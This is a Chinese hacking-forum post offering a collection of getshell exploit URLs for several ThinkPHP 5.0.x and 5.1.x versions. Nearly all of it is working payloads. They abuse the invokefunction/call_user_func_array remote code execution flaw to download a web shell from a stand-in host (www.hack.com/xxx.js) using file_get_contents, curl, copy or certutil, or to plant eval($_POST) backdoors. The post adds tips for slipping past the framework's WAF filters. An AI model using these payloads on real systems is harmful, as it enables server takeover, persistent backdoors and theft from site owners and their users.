请选择 进入手机版 | 继续访问电脑版

热点推荐

查看: 1204|回复: 0

Think php 5.0.5-5.1.8版本Getshell EXP

[复制链接]

1

主题

6

帖子

904

积分

高级司机

Rank: 4

积分
904

免杀租三好学生

发表于 2019-9-19 10:23:49 | 显示全部楼层 |阅读模式
5.0.5版本


由于tinkphp自带的waf对eval进行了拦截,禁止了assert函数
对eval函数后面的括号进行了正则过滤
对file_get_contents函数后面的括号进行了正则过滤
  1. http://www.test.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>
复制代码

5.0.11版本
  1. http://www.test.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php
复制代码

5.0.14版本


eval('')和assert('')被拦截,命令函数被禁止
  1. http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
复制代码
  1. http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));
复制代码
php7.2
  1. http://www.test.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
复制代码
  1. <p>http://www.test.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?></p><p></p>
复制代码
写进去发现转义了尖括号
通过copy函数
  1. http://www.test.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php
复制代码
5.0.18版本
windows
  1. <p>http://www.test.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1</p><p>
  2. </p><p>http://www.test.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()</p>
复制代码
使用certutil
由于根目录没写权限,所以写到uploads
  1. http://www.test.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php
复制代码
5.1.18版本
  1. http://www.test.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>
复制代码
所有目录都无写权限,base64函数被拦截
  1. http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])
复制代码

回复

使用道具 举报

快捷回复:
您需要登录后才可以回帖 登录 | 立即注册直达

本版积分规则

快速回复 返回顶部 返回列表